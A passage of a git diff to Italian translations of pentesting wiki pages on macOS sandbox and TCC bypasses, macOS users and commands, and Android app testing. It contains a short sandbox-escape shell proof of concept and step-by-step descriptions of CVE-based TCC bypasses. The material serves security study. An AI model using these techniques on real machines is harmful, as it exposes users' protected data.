**completamente compilato staticamente**, potrebbe evitare di caricare quella libreria. -- Se il **binario non avesse bisogno di caricare alcuna libreria** (perché il linker è anche in libSystem), non avrà bisogno di caricare libSystem. +- Se il **binario non avesse bisogno di caricare alcuna libreria** (poiché il linker è anche in libSystem), non avrà bisogno di caricare libSystem. ### Shellcodes @@ -73,9 +217,26 @@ Nota che **anche gli shellcodes** in ARM64 devono essere collegati in `libSystem ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` -### Entitlements +### Restrizioni non ereditate -Nota che anche se alcune **azioni** potrebbero essere **consentite dal sandbox** se un'applicazione ha un **entitlement** specifico, come in: +Come spiegato nel **[bonus di questo documento](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, una restrizione della sandbox come: +``` +(version 1) +(allow default) +(deny file-write* (literal "/private/tmp/sbx")) +``` +può essere eluso da un nuovo processo che esegue ad esempio: +```bash +mkdir -p /tmp/poc.app/Contents/MacOS +echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc +chmod +x /tmp/poc.app/Contents/MacOS/poc +open /tmp/poc.app +``` +Tuttavia, ovviamente, questo nuovo processo non erediterà diritti o privilegi dal processo padre. + +### Diritti + +Nota che anche se alcune **azioni** potrebbero essere **consentite dal sandbox** se un'applicazione ha un **diritto** specifico, come in: ```scheme (when (entitlement "com.apple.security.network.client") (allow network-outbound (remote ip)) @@ -218,7 +379,7 @@ codesign -s --entitlements entitlements.xml sand > echo "Sandbox Bypassed" > ~/Desktop/del.txt > ``` -Vediamo di fare il debug dell'applicazione per vedere quando viene caricato il Sandbox: +Debugghiamo l'applicazione per vedere quando viene caricato il Sandbox: ```bash # Load app in debugging lldb ./sand diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index 9290e3910..f3e691be0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -26,7 +26,7 @@ L'**attributo esteso `com.apple.macl`** viene aggiunto al nuovo **file** per dar ### Richiesta TCC con nome arbitrario -L'attaccante può **creare app con qualsiasi nome** (ad es. Finder, Google Chrome...) nel **`Info.plist`** e farla richiedere accesso a una posizione protetta da TCC. L'utente penserà che l'app legittima sia quella che richiede questo accesso.\ +L'attaccante può **creare app con qualsiasi nome** (ad es. Finder, Google Chrome...) nel **`Info.plist`** e farle richiedere accesso a una posizione protetta da TCC. L'utente penserà che l'app legittima sia quella che richiede questo accesso.\ Inoltre, è possibile **rimuovere l'app legittima dal Dock e mettere quella falsa**, così quando l'utente clicca su quella falsa (che può usare la stessa icona) potrebbe chiamare quella legittima, chiedere i permessi TCC ed eseguire un malware, facendo credere all'utente che l'app legittima abbia richiesto l'accesso.
@@ -62,11 +62,11 @@ L'attributo **`com.apple.private.icloud-account-access`** consente di comunicare **iMovie** e **Garageband** avevano questo attributo e altri che lo consentivano. -Per ulteriori **informazioni** sull'exploit per **ottenere token iCloud** da quell'attributo, controlla il talk: [**#OBTS v5.0: "Cosa succede sul tuo Mac, rimane su iCloud di Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +Per ulteriori **informazioni** sull'exploit per **ottenere token iCloud** da quell'attributo, controlla il talk: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automazione -Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Questo significa che potrebbe essere in grado di **abuse dei permessi concessi alle altre app**. +Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Questo significa che potrebbe essere in grado di **abusare dei permessi concessi alle altre app**. Per ulteriori informazioni sugli Apple Scripts, controlla: @@ -145,7 +145,7 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - Note -Le note avevano accesso a posizioni protette da TCC, ma quando viene creata una nota, questa è **creata in una posizione non protetta**. Quindi, potresti chiedere a note di copiare un file protetto in una nota (quindi in una posizione non protetta) e poi accedere al file: +Le note avevano accesso a posizioni protette da TCC, ma quando viene creata una nota, questa è **creata in una posizione non protetta**. Quindi, potresti chiedere alle note di copiare un file protetto in una nota (quindi in una posizione non protetta) e poi accedere al file:
@@ -167,7 +167,7 @@ Questo comportamento **`rename(a, b);`** è vulnerabile a una **Race Condition** ### SQLITE_SQLLOG_DIR - CVE-2023-32422 Se **`SQLITE_SQLLOG_DIR="path/folder"`** significa fondamentalmente che **qualsiasi db aperto viene copiato in quel percorso**. In questo CVE, questo controllo è stato abusato per **scrivere** all'interno di un **database SQLite** che verrà **aperto da un processo con FDA il database TCC**, e poi abusare di **`SQLITE_SQLLOG_DIR`** con un **symlink nel nome del file** in modo che quando quel database è **aperto**, l'utente **TCC.db viene sovrascritto** con quello aperto.\ -**Maggiore info** [**nella scrittura**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e**[ **nella conferenza**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). +**Maggiore info** [**nella scrittura**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e** [**nella conferenza**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). ### **SQLITE_AUTO_TRACE** @@ -184,9 +184,9 @@ Questa **variabile di ambiente è utilizzata dal framework `Metal`** che è una Impostando quanto segue: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Se `path` è una directory valida, il bug verrà attivato e possiamo usare `fs_usage` per vedere cosa sta succedendo nel programma: -- un file verrà `open()`ato, chiamato `path/.dat.nosyncXXXX.XXXXXX` (X è casuale) +- un file sarà `open()`ed, chiamato `path/.dat.nosyncXXXX.XXXXXX` (X è casuale) - uno o più `write()` scriveranno i contenuti nel file (non controlliamo questo) -- `path/.dat.nosyncXXXX.XXXXXX` verrà `renamed()` a `path/name` +- `path/.dat.nosyncXXXX.XXXXXX` sarà `renamed()` a `path/name` È una scrittura temporanea di file, seguita da un **`rename(old, new)`** **che non è sicuro.** @@ -205,7 +205,7 @@ Questo era l'attacco nel CVE: Ad esempio, per sovrascrivere il `TCC.db` dell'ute - attivare il bug eseguendo `Music` con questa variabile di ambiente - catturare l'`open()` di `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X è casuale) - qui apriamo anche questo file per scrivere e teniamo il descrittore di file -- scambiare atomicamente `/Users/hacker/tmp` con `/Users/hacker/ourlink` **in un ciclo** +- scambiare in modo atomico `/Users/hacker/tmp` con `/Users/hacker/ourlink` **in un ciclo** - facciamo questo per massimizzare le nostre possibilità di successo poiché la finestra di gara è piuttosto ristretta, ma perdere la gara ha un impatto trascurabile - aspetta un po' - verifica se abbiamo avuto fortuna @@ -214,13 +214,13 @@ Questo era l'attacco nel CVE: Ad esempio, per sovrascrivere il `TCC.db` dell'ute Ulteriori informazioni su [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html) > [!CAUTION] -> Ora, se provi a utilizzare la variabile di ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, le app non si avvieranno +> Ora, se provi a usare la variabile di ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, le app non si avvieranno ### Apple Remote Desktop -Come root potresti abilitare questo servizio e l'**agente ARD avrà accesso completo al disco**, che potrebbe poi essere abusato da un utente per farlo copiare un nuovo **database utente TCC**. +Come root potresti abilitare questo servizio e l'**agente ARD avrà accesso completo al disco** che potrebbe poi essere abusato da un utente per farlo copiare un nuovo **database utente TCC**. -## By **NFSHomeDirectory** +## Per **NFSHomeDirectory** TCC utilizza un database nella cartella HOME dell'utente per controllare l'accesso alle risorse specifiche per l'utente in **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\ Pertanto, se l'utente riesce a riavviare TCC con una variabile di ambiente $HOME che punta a una **cartella diversa**, l'utente potrebbe creare un nuovo database TCC in **/Library/Application Support/com.apple.TCC/TCC.db** e ingannare TCC per concedere qualsiasi autorizzazione TCC a qualsiasi app. @@ -244,11 +244,11 @@ Il **primo POC** utilizza [**dsexport**](https://www.unix.com/man-page/osx/1/dse 6. Ferma il _tccd_ dell'utente e riavvia il processo. Il secondo POC ha utilizzato **`/usr/libexec/configd`** che aveva `com.apple.private.tcc.allow` con il valore `kTCCServiceSystemPolicySysAdminFiles`.\ -Era possibile eseguire **`configd`** con l'opzione **`-t`**, un attaccante potrebbe specificare un **Bundle personalizzato da caricare**. Pertanto, l'exploit **sostituisce** il metodo **`dsexport`** e **`dsimport`** per cambiare la home directory dell'utente con un **iniezione di codice configd**. +Era possibile eseguire **`configd`** con l'opzione **`-t`**, un attaccante poteva specificare un **Bundle personalizzato da caricare**. Pertanto, l'exploit **sostituisce** il metodo **`dsexport`** e **`dsimport`** di cambiamento della home directory dell'utente con un **iniezione di codice configd**. Per ulteriori informazioni, controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/). -## By process injection +## Per iniezione di processo Ci sono diverse tecniche per iniettare codice all'interno di un processo e abusare dei suoi privilegi TCC: @@ -417,7 +417,7 @@ exploit_location]; task.standardOutput = pipe; ### CVE-2020-9771 - bypass TCC di mount_apfs e escalation dei privilegi -**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare un'istantanea di Time Machine e **accedere a TUTTI i file** di quell'istantanea.\ +**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare uno snapshot di Time Machine e **accedere a TUTTI i file** di quello snapshot.\ L'**unico privilegio** necessario è che l'applicazione utilizzata (come `Terminal`) abbia accesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), che deve essere concesso da un amministratore. ```bash # Create snapshot @@ -465,6 +465,14 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` Controlla il **full exploit** nel [**writeup originale**](https://theevilbit.github.io/posts/cve-2021-30808/). +### CVE-2024-40855 + +Come spiegato nel [writeup originale](https://www.kandji.io/blog/macos-audit-story-part2), questo CVE ha abusato di `diskarbitrationd`. + +La funzione `DADiskMountWithArgumentsCommon` del framework pubblico `DiskArbitration` eseguiva i controlli di sicurezza. Tuttavia, è possibile bypassarla chiamando direttamente `diskarbitrationd` e quindi utilizzare elementi `../` nel percorso e symlink. + +Questo ha permesso a un attaccante di eseguire mount arbitrari in qualsiasi posizione, incluso il database TCC a causa del diritto `com.apple.private.security.storage-exempt.heritable` di `diskarbitrationd`. + ### asr Lo strumento **`/usr/sbin/asr`** consentiva di copiare l'intero disco e montarlo in un'altra posizione bypassando le protezioni TCC. @@ -474,15 +482,15 @@ Lo strumento **`/usr/sbin/asr`** consentiva di copiare l'intero disco e montarlo C'è un terzo database TCC in **`/var/db/locationd/clients.plist`** per indicare i client autorizzati ad **accedere ai servizi di localizzazione**.\ La cartella **`/var/db/locationd/` non era protetta dal montaggio DMG** quindi era possibile montare il nostro plist. -## Tramite app di avvio +## Attraverso app di avvio {{#ref}} ../../../../macos-auto-start-locations.md {{#endref}} -## Tramite grep +## Attraverso grep -In diverse occasioni i file memorizzano informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple). +In diverse occasioni, i file memorizzeranno informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).
@@ -492,7 +500,7 @@ Questo non funziona più, ma [**funzionava in passato**](https://twitter.com/noa
-Un altro modo usando [**eventi CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf): +Un altro modo utilizzando [**eventi CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf):
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index a18c0782c..4193bfae4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -4,32 +4,30 @@ ## Common Users -- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": +- **Daemon**: Utente riservato per i demoni di sistema. I nomi degli account daemon predefiniti di solito iniziano con un "\_": - ```bash - _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs - ``` - -- **Guest**: Account for guests with very strict permissions +```bash +_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs +``` +- **Guest**: Account per ospiti con permessi molto restrittivi ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` - -- **Nobody**: Processes are executed with this user when minimal permissions are required +- **Nessuno**: I processi vengono eseguiti con questo utente quando sono richieste autorizzazioni minime - **Root** -## User Privileges +## Privilegi Utente -- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. -- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. -- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). - - For example root won't be able to place a file inside `/System` +- **Utente Standard:** Il tipo più basilare di utente. Questo utente ha bisogno di autorizzazioni concesse da un utente admin quando tenta di installare software o eseguire altre operazioni avanzate. Non è in grado di farlo da solo. +- **Utente Admin**: Un utente che opera per la maggior parte del tempo come un utente standard ma è anche autorizzato a eseguire azioni di root come installare software e altre operazioni amministrative. Tutti gli utenti appartenenti al gruppo admin **hanno accesso a root tramite il file sudoers**. +- **Root**: Root è un utente autorizzato a eseguire quasi qualsiasi azione (ci sono limitazioni imposte da protezioni come System Integrity Protection). +- Ad esempio, root non sarà in grado di posizionare un file all'interno di `/System` -## External Accounts +## Account Esterni -MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\ -Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. +MacOS supporta anche l'accesso tramite fornitori di identità esterni come FaceBook, Google... Il principale demone che esegue questo lavoro è `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) ed è possibile trovare plugin utilizzati per l'autenticazione esterna all'interno della cartella `/System/Library/Accounts/Authentication/`.\ +Inoltre, `accountsd` ottiene l'elenco dei tipi di account da `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index 53e6dc36e..866735644 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -1,15 +1,14 @@ -# macOS Useful Commands +# macOS Comandi Utili {{#include ../banners/hacktricks-training.md}} -### MacOS Automatic Enumeration Tools +### Strumenti di Enumerazione Automatica MacOS - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) - **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -### Specific MacOS Commands - +### Comandi MacOS Specifici ```bash #System info date @@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh) sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh) #Start apache sudo apachectl (start|status|restart|stop) - ##Web folder: /Library/WebServer/Documents/ +##Web folder: /Library/WebServer/Documents/ #Remove DNS cache dscacheutil -flushcache sudo killall -HUP mDNSResponder ``` +### Software e Servizi Installati -### Installed Software & Services - -Check for **suspicious** applications installed and **privileges** over the.installed resources: - +Controlla le applicazioni **sospette** installate e i **privilegi** sulle risorse installate: ``` system_profiler SPApplicationsDataType #Installed Apps system_profiler SPFrameworksDataType #Instaled framework lsappinfo list #Installed Apps launchctl list #Services ``` - -### User Processes - +### Processi Utente ```bash # will print all the running services under that particular user domain. launchctl print gui/ @@ -140,10 +135,9 @@ launchctl print system # will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login launchctl print gui//com.company.launchagent.label ``` +### Crea un utente -### Create a user - -Without prompts +Senza prompt
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 7a7fd2f06..1429aed34 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,21 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Approfondimenti sul Hacking**\ -Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking - -**Notizie di Hacking in Tempo Reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Ultimi Annunci**\ -Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - ## Fondamenti delle Applicazioni Android È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**: @@ -28,7 +13,7 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\ -**ADB** consente di controllare i dispositivi sia tramite **USB** che **Rete** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni. +**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni. Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb. @@ -39,7 +24,7 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere ## Altri trucchi interessanti -- [Spoofing della tua posizione nel Play Store](spoofing-your-location-in-play-store.md) +- [Falsificare la tua posizione nel Play Store](spoofing-your-location-in-play-store.md) - **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Estrai APK dal dispositivo: ```bash @@ -71,7 +56,7 @@ Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** **Firebase** -Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Ulteriori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiore informazione su cosa è FIrebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Comprensione di base dell'applicazione - Manifest.xml, strings.xml @@ -79,11 +64,11 @@ L'**esame dei file \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* di un'appl **Vulnerabilità** identificate dal **Manifest.xml** includono: -- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo. +- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo. - **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato. - **Sicurezza della Rete**: Configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come pin di certificato e impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici. - **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti. -- **Content Providers e FileProviders**: Content provider esposti potrebbero consentire accesso o modifica non autorizzati dei dati. La configurazione dei FileProviders dovrebbe essere scrutinata. +- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata. - **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input. - **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza. @@ -94,7 +79,7 @@ Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi persona **Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\ In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**. -Trova ulteriori informazioni in: +Trova maggiori informazioni in: {{#ref}} tapjacking.md @@ -102,9 +87,9 @@ tapjacking.md ### Task Hijacking -Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**). +Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Questo significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**). -Ulteriori informazioni in: +Maggiore info in: {{#ref}} android-task-hijacking.md @@ -119,14 +104,14 @@ In Android, i file **memorizzati** nella **memoria interna** sono **progettati** 1. **Analisi Statica:** - **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**. 2. **Analisi Dinamica:** -- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file. +- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file. **Memoria Esterna** Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni: 1. **Accessibilità**: -- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file. +- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file. 2. **Preoccupazioni di Sicurezza**: - Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna. - La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura. @@ -225,21 +210,6 @@ content-protocol.md --- -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Approfondimenti sul hacking**\ -Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking. - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale. - -**Ultimi annunci**\ -Rimani informato con i nuovi bug bounty in arrivo e aggiornamenti cruciali della piattaforma. - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - --- ## Analisi dinamica @@ -250,7 +220,7 @@ Rimani informato con i nuovi bug bounty in arrivo e aggiornamenti cruciali della Puoi creare un **account gratuito** in: [https://appetize.io/](https://appetize.io). Questa piattaforma ti consente di **caricare** e **eseguire** APK, quindi è utile per vedere come si comporta un apk. -Puoi persino **vedere i log della tua applicazione** nel web e connetterti tramite **adb**. +Puoi persino **vedere i log della tua applicazione** sul web e connetterti tramite **adb**. ![](<../../images/image (831).png>) @@ -302,19 +272,19 @@ Gli sviluppatori dovrebbero prestare attenzione a non esporre **informazioni di > Nota che da **versioni successive ad Android 4.0**, **le applicazioni possono accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\ > Comunque, è ancora consigliato **non registrare informazioni sensibili**. -**Caching del buffer Copia/Incolla** +**Caching del buffer di copia/incolla** Il framework **basato su clipboard** di Android consente la funzionalità di copia e incolla nelle app, ma presenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati. **Log di crash** -Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere 